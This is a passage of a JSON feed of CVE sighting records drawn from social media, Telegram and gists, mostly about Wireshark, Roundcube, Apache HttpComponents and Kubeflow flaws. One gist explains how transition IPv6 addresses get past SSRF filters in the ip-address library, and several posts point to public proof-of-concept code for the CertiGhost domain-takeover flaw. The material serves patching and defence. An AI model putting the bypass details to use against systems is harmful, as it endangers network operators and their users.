"2026-07-30T18:35:06.150524Z"}, {"uuid": "def2e5eb-9b40-404e-b1f3-d50a32e0b545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54722", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/5lrfapvhcrzhy", "content": "CVE-2026-54722 - dssrf: there a critical security bug with remove_at_symbol_in_string\nCVE ID : CVE-2026-54722\n \n Published : July 30, 2026, 5:16 p.m. | 1\u00a0hour, 21\u00a0minutes ago\n \n Description : DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF ...", "creation_timestamp": "2026-07-30T18:56:13.143049Z"}, {"uuid": "5d23e051-2776-4e2c-a941-270f19e442ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54727", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mrvbjpdcuz2x", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-54727](https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636...\nhttps://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716 #ZeroDay #PatchManagement #Vulnerability", "creation_timestamp": "2026-07-30T20:25:27.583087Z"}, {"uuid": "0e439baa-29e6-4065-b209-a69455161897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54030", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mrzxev5rop2r", "content": "\ud83d\udccc CVE-2026-54030 - LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.5, LibreChat's MCP OAuth implementation does not validate tha... https://www.cyberhub.blog/cves/CVE-2026-54030", "creation_timestamp": "2026-08-01T17:07:19.299117Z"}, {"uuid": "4010b715-f46c-41d4-97e0-3bb58a49aa4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54527", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3ms23gwvzea2r", "content": "[26.05] python3Packages.jupyterlab-git: fix CVE-2026-54527 and CVE-2026-54528\n\nhttps://github.com/NixOS/nixpkgs/pull/547982\n\n#security", "creation_timestamp": "2026-08-01T18:19:51.086582Z"}, {"uuid": "fac59819-ad54-402b-849f-5bae822347f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54528", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3ms23gwvzea2r", "content": "[26.05] python3Packages.jupyterlab-git: fix CVE-2026-54527 and CVE-2026-54528\n\nhttps://github.com/NixOS/nixpkgs/pull/547982\n\n#security", "creation_timestamp": "2026-08-01T18:19:51.154667Z"}, {"uuid": "f8861361-3425-4478-9984-e29626fa9ad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54745", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muagthwbtu2p", "content": "CVE-2026-54745\nThe web interface of Kubeflow Pipelines versions earlier than 2.17 can be tricked into sending requests to any internal address without checking the caller's identity. This could let an attacker read or change\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-29T17:50:04.507837Z"}, {"uuid": "4862e294-ba44-494d-b3cf-7037fa22be1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrw6k4w2zo2x", "content": "Top 3 CVE for last 7 days:\nCVE-2026-66066: 39 interactions\nCVE-2026-63077: 32 interactions\nCVE-2026-54121: 15 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-66066: 33 interactions\nCVE-2026-59726: 9 interactions\nCVE-2026-20316: 6 interactions\n", "creation_timestamp": "2026-07-31T05:04:40.734433Z"}, {"uuid": "2bd49c3d-4ffb-4b3b-ad7e-b6be49cb9c2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54272", "type": "seen", "source": "https://gist.github.com/alon710/539d26ece962aef59230f2218cc50bae", "content": "# CVE-2026-54272: CVE-2026-54272: SSRF and Trust-Boundary Bypass via Input Misclassification in ip-address Library\n\n> **CVSS Score:** 6.9\n> **Published:** 2026-08-03\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54272\n\n## Summary\nA trust-boundary bypass and Server-Side Request Forgery (SSRF) vulnerability exists in the ip-address library versions 10.1.1 through 10.2.0 due to structural input misclassification. The library fails to resolve and normalize transition IP notations, such as IPv4-mapped IPv6 (::ffff:0:0/96) and NAT64 (64:ff9b::/96) addresses, to their embedded IPv4 representations prior to evaluation. Consequently, standard security validation checks (e.g., isLoopback, isLinkLocal, isULA) return false for these addresses. This allows remote attackers to bypass application-level IP address filters, gaining unauthorized access to internal resources, cloud metadata interfaces, and local services on dual-stack hosts or environments utilizing NAT64 gateways.\n\n## TL;DR\nInput misclassification in ip-address library <= 10.2.0 enables SSRF. The parser fails to normalize IPv4-mapped or NAT64 transition addresses before running boolean classification checks (e.g., isLoopback). This allows attackers to bypass security guards and connect to restricted internal IPv4 destinations over dual-stack host configurations.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-918, CWE-20\n- **Attack Vector**: Network\n- **CVSS v4.0 Score**: 6.9 (Medium)\n- **EPSS Score**: 0.00254 (0.25%)\n- **Exploit Status**: poc\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Applications incorporating npm package ip-address for IP validation\n- Dual-stack host configurations running vulnerable validation services\n- Environments utilizing NAT64/DNS64 translations with permissive HTTP proxies\n- **ip-address**: >= 10.1.1, <= 10.2.0 (Fixed in: `10.2.1`)\n\n## Mitigation\n\n- Upgrade dependency trees immediately to ip-address version 10.2.1 or newer.\n- Implement DNS lookup resolution first and validate the resolved IP addresses directly.\n- Deploy WAF rules to detect and drop transition IP notations at the perimeter.\n- Ensure HTTP clients establish connections directly to validated IP addresses rather than raw hostnames to prevent DNS Rebinding.\n\n**Remediation Steps:**\n1. Update your project dependencies: run 'npm install ip-address@10.2.1' or verify nested occurrences via dependency locking tools.\n2. Refactor backend validation logic to check ip.isPrivate() and ip.isLoopback() on parsed instances.\n3. Ensure to address-pin HTTP client configurations using the resolved IP address while overriding the HTTP Host header.\n\n## References\n\n- [GHSA-22jq-vg5j-6vgg: SSRF bypass through transition addresses](https://github.com/beaugunderson/ip-address/security/advisories/GHSA-22jq-vg5j-6vgg)\n- [Fix implementation commit](https://github.com/beaugunderson/ip-address/commit/e86ab3e19588761ce18caf4820b26f01ac25043b)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54272) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-04T10:32:20.331358Z"}, {"uuid": "bd0d94ba-0566-43fb-bbe2-c9984c3e068d", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54066", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3afc81c6-5359-49d8-bb3c-0740417c036a", "content": "", "creation_timestamp": "2026-08-04T11:00:26.368599Z"}, {"uuid": "32a04142-1825-4d99-b79f-166379c2cfc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mrwidwqlup2o", "content": "Certighost (CVE-2026-54121): a standard AD user account can forge a Domain Controller certificate, then DCSync the krbtgt secret for full domain takeover. Patched July 14, PoC public July 24. Check your AD CS servers now.\u00a0\n\nzurl.co/64o1x \n zurl.co/125yn", "creation_timestamp": "2026-07-31T08:00:10.462057Z"}, {"uuid": "dbeb83c5-9f23-4da9-b61d-7235e8c52313", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/GithubRedTeam/95975", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121-CertiGhost-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a KrakenEU\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-31 08:04:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54121(CertiGhost) without MachineAccountQuota POC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-31T09:00:03.861904Z"}, {"uuid": "c092738d-75a5-4ddf-a755-0dba02c59769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54272", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3msaxo5vln42v", "content": "\n\ud83d\udea8 New MEDIUM CVE detected in AWS Lambda \ud83d\udea8\nCVE-2026-54272 impacts ip-address in 2 Lambda base images.\n\nDetails: https://github.com/aws/aws-lambda-base-images/issues/642\nMore: https://lambdawatchdog.com/\n\n#AWS #Lambda #CVE #CloudSecurity #Serverless", "creation_timestamp": "2026-08-04T12:00:56.407722Z"}, {"uuid": "84663bc7-fdff-4601-8c09-0e78bc6ed573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5402", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116492483168335299", "content": "\u26a0\ufe0f CVE-2026-5402: HIGH severity heap buffer overflow in Wireshark 4.6.0 \u2013 4.6.4 TLS dissector. Exploitation can lead to DoS or code execution. No patch yet \u2014 avoid untrusted TLS traffic. https://radar.offseq.com/threat/cve-2026-5402-cwe-122-heap-based-buffer-overflow-i-bdf27e3b #OffSeq #Wireshark #CVE20265402 #BlueTeam", "creation_timestamp": "2026-04-30T07:30:28.749008Z"}, {"uuid": "82cdcf55-f9b2-41a2-86f6-247c126f2bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5402", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mkp3s74gwm2g", "content": "Wireshark 4.6.0 \u2013 4.6.4 faces a HIGH severity heap buffer overflow in the TLS dissector. No patch yet \u2014 avoid analyzing untrusted TLS traffic. Stay alert for updates! https://radar.offseq.com/threat/cve-2026-5402-cwe-122-heap-based-buffer-overflow-i-bdf27e3b #OffSeq #Wireshark #Vuln", "creation_timestamp": "2026-04-30T07:30:30.575662Z"}, {"uuid": "1a8e7248-d9c9-4931-bd91-12eb8f2b0d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5412", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mkpyo2yttn2p", "content": "\ud83d\udccc CVE-2026-5412 - In Juju versions prior to 2.9.57 and 3.6.21, an authorization issue exists in the Controller facade. An authenticated user can call the ClownSpec API ... https://www.potatohub.blog/cves/CVE-2026-5412", "creation_timestamp": "2026-04-30T16:07:10.033747Z"}, {"uuid": "0febf023-0d80-47c3-b21e-c3d28ba18d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5412", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mkpyo23mgo2w", "content": "\ud83d\udccc CVE-2026-5412 - In Juju versions prior to 2.9.57 and 3.6.21, an authorization issue exists in the Controller facade. An authenticated user can call the CloudSpec API ... https://www.cyberhub.blog/cves/CVE-2026-5412", "creation_timestamp": "2026-04-30T16:07:09.191525Z"}, {"uuid": "cc6a05a3-6a37-49a6-97d6-6f543cea3a75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54432", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ms2mjo3jtk2o", "content": "\u30a6\u30a7\u30d6\u30e1\u30fc\u30eb\u300cRoundcube\u300d\u3001\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u8907\u6570\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\n\u30a6\u30a7\u30d6\u30e1\u30fc\u30eb\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u300cRoundcube Webmail\u300d\u306e\u958b\u767a\u30c1\u30fc\u30e0\u306f\u3001\u8907\u6570\u306e\u8106\u5f31\u6027\u3092\u89e3\u6d88\u3057\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\n\n...\n\n\u5177\u4f53\u7684\u306b\u306f\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u306e\u691c\u8a3c\u8b66\u544a\u753b\u9762\u306b\u304a\u3044\u3066\u3001MIME\u30bf\u30a4\u30d7\u304c\u9069\u5207\u306b\u30a8\u30b9\u30b1\u30fc\u30d7\u3055\u308c\u305a\u3001\u683c\u7d0d\u578b\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08XSS\uff09\u653b\u6483\u304c\u53ef\u80fd\u3068\u306a\u308b\u8106\u5f31\u6027\u300cCVE-2026-54432\u300d\u3092\u4fee\u6b63\u3057\u305f\n\n\u30d7\u30ec\u30fc\u30f3\u30c6\u30ad\u30b9\u30c8\u306e\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0\u51e6\u7406\u306b\u304a\u3044\u3066\u30e6\u30fc\u30b6\u30fc\u306b\u3088\u308b\u30af\u30ea\u30c3\u30af\u64cd\u4f5c\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306a\u304f\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3055\u305b\u308b\u3053\u3068\u304c\u53ef\u80fd\u3068\u306a\u308b\u683c\u7d0d\u578bXSS\u8106\u5f31\u6027\u300cCVE-2026-54433\u300d...", "creation_timestamp": "2026-08-01T23:25:37.407436Z"}, {"uuid": "51630cf4-1ee8-42dc-b74d-16b0b8e32888", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54433", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ms2mjo3jtk2o", "content": "\u30a6\u30a7\u30d6\u30e1\u30fc\u30eb\u300cRoundcube\u300d\u3001\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u8907\u6570\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\n\u30a6\u30a7\u30d6\u30e1\u30fc\u30eb\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u300cRoundcube Webmail\u300d\u306e\u958b\u767a\u30c1\u30fc\u30e0\u306f\u3001\u8907\u6570\u306e\u8106\u5f31\u6027\u3092\u89e3\u6d88\u3057\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\n\n...\n\n\u5177\u4f53\u7684\u306b\u306f\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u306e\u691c\u8a3c\u8b66\u544a\u753b\u9762\u306b\u304a\u3044\u3066\u3001MIME\u30bf\u30a4\u30d7\u304c\u9069\u5207\u306b\u30a8\u30b9\u30b1\u30fc\u30d7\u3055\u308c\u305a\u3001\u683c\u7d0d\u578b\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff08XSS\uff09\u653b\u6483\u304c\u53ef\u80fd\u3068\u306a\u308b\u8106\u5f31\u6027\u300cCVE-2026-54432\u300d\u3092\u4fee\u6b63\u3057\u305f\n\n\u30d7\u30ec\u30fc\u30f3\u30c6\u30ad\u30b9\u30c8\u306e\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0\u51e6\u7406\u306b\u304a\u3044\u3066\u30e6\u30fc\u30b6\u30fc\u306b\u3088\u308b\u30af\u30ea\u30c3\u30af\u64cd\u4f5c\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306a\u304f\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3055\u305b\u308b\u3053\u3068\u304c\u53ef\u80fd\u3068\u306a\u308b\u683c\u7d0d\u578bXSS\u8106\u5f31\u6027\u300cCVE-2026-54433\u300d...", "creation_timestamp": "2026-08-01T23:25:37.464594Z"}, {"uuid": "c613d12a-95a8-4d2c-8332-ad5bad998e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54399", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ms2mmfu6s22o", "content": "HTTP\u901a\u4fe1\u30e9\u30a4\u30d6\u30e9\u30ea\u300cApache HttpComponents\u300d\u306b\u8907\u6570\u306eDoS\u8106\u5f31\u6027\n\nJava\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u7d44\u307f\u8fbc\u3093\u3067\u4f7f\u3046HTTP\u901a\u4fe1\u30e9\u30a4\u30d6\u30e9\u30ea\u300cApache HttpComponents\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\n\nHTTP\u30d8\u30c3\u30c0\u51e6\u7406\u306b\u95a2\u9023\u3057\u3001\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u304c\u751f\u3058\u308b\u8106\u5f31\u6027\u300cCVE-2026-54428\u300d\u300cCVE-2026-54399\u300d\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3082\u306e\u3002\n\n\u300cCVE-2026-54428\u300d\u306f\u3001HTTP/2\u306e\u300cHPACK\u300d\u30c7\u30b3\u30fc\u30c0\u306b\u304a\u3051\u308b\u30ea\u30bd\u30fc\u30b9\u5272\u308a\u5f53\u3066\u306e\u8106\u5f31\u6027\u3002\u904e\u5927\u306a\u5727\u7e2e\u30d8\u30c3\u30c0\u30d6\u30ed\u30c3\u30af\u3092\u53d7\u4fe1\u3059\u308b\u3068\u30e1\u30e2\u30ea\u67af\u6e07\u306b\u9665\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\n\n\u307e\u305fHTTP/1.1\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u89e3\u6790\u51e6...", "creation_timestamp": "2026-08-01T23:27:12.159451Z"}, {"uuid": "2518aadc-ed57-4516-906a-b04e29d0441d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54428", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ms2mmfu6s22o", "content": "HTTP\u901a\u4fe1\u30e9\u30a4\u30d6\u30e9\u30ea\u300cApache HttpComponents\u300d\u306b\u8907\u6570\u306eDoS\u8106\u5f31\u6027\n\nJava\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u7d44\u307f\u8fbc\u3093\u3067\u4f7f\u3046HTTP\u901a\u4fe1\u30e9\u30a4\u30d6\u30e9\u30ea\u300cApache HttpComponents\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\n\nHTTP\u30d8\u30c3\u30c0\u51e6\u7406\u306b\u95a2\u9023\u3057\u3001\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u304c\u751f\u3058\u308b\u8106\u5f31\u6027\u300cCVE-2026-54428\u300d\u300cCVE-2026-54399\u300d\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3082\u306e\u3002\n\n\u300cCVE-2026-54428\u300d\u306f\u3001HTTP/2\u306e\u300cHPACK\u300d\u30c7\u30b3\u30fc\u30c0\u306b\u304a\u3051\u308b\u30ea\u30bd\u30fc\u30b9\u5272\u308a\u5f53\u3066\u306e\u8106\u5f31\u6027\u3002\u904e\u5927\u306a\u5727\u7e2e\u30d8\u30c3\u30c0\u30d6\u30ed\u30c3\u30af\u3092\u53d7\u4fe1\u3059\u308b\u3068\u30e1\u30e2\u30ea\u67af\u6e07\u306b\u9665\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\n\n\u307e\u305fHTTP/1.1\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u89e3\u6790\u51e6...", "creation_timestamp": "2026-08-01T23:27:12.054272Z"}, {"uuid": "ccbd78db-b5bb-4f09-a839-91c1db03d918", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5402", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqf5rrlfy2z", "content": "\ud83d\udfe0 CVE-2026-5402 - High (8.8)\n\nTLS protocol dissector heap overflow in Wireshark 4.6.0 to 4.6.4 allows denial of service and pos...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5402/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T19:50:43.182024Z"}, {"uuid": "7daf5ee3-f749-45b3-874b-cb2f81d86548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5403", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqutrrsh22z", "content": "\ud83d\udfe0 CVE-2026-5403 - High (7.8)\n\nSBC codec crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service and poss...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5403/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-01T00:31:27.593254Z"}, {"uuid": "96b11577-c3f3-483f-b484-5518041dd7a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5405", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqzncw5lc2z", "content": "\ud83d\udfe0 CVE-2026-5405 - High (7.8)\n\nRDP protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of ser...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5405/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-01T01:57:19.094115Z"}, {"uuid": "2deb37cd-7258-4be2-bd0b-32a7c7d34c11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5403", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkr3vj336s2k", "content": "CVE-2026-5403 - Heap-based Buffer Overflow in Wireshark\nCVE ID : CVE-2026-5403\n \n Published : May 1, 2026, 12:16 a.m. | 2\u00a0hours, 2\u00a0minutes ago\n \n Description : SBC codec crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service and possible code execution\n...", "creation_timestamp": "2026-05-01T02:37:40.772379Z"}, {"uuid": "f7e0ab6d-5e46-467d-8ad7-4c0062b2a8b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5405", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkr4acqg6t2n", "content": "CVE-2026-5405 - Heap-based Buffer Overflow in Wireshark\nCVE ID : CVE-2026-5405\n \n Published : May 1, 2026, 12:16 a.m. | 2\u00a0hours, 2\u00a0minutes ago\n \n Description : RDP protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service and possible co...", "creation_timestamp": "2026-05-01T02:43:43.224754Z"}, {"uuid": "7854d8d6-af71-474a-8d9e-c194cb51f1e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5404", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkr5a26vf42p", "content": "CVE-2026-5404 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') in Wireshark\nCVE ID : CVE-2026-5404\n \n Published : May 1, 2026, 12:16 a.m. | 2\u00a0hours, 2\u00a0minutes ago\n \n Description : K12 RF5 file parser crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14...", "creation_timestamp": "2026-05-01T03:01:27.860290Z"}, {"uuid": "49b42f6a-f4eb-4e31-9c84-56d90909a6b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/GithubRedTeam/95978", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121-CertiGhost\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a KrakenEU\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-31 08:30:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54121(CertiGhost) without MachineAccountQuota POC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-31T10:00:04.693700Z"}, {"uuid": "7d06e01b-013c-4750-9987-118e5ea87309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5405", "type": "seen", "source": "https://t.me/itarmyofrussianews/379", "content": "Wireshark \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u0432 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e \u0431\u043e\u043b\u0435\u0435 40 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 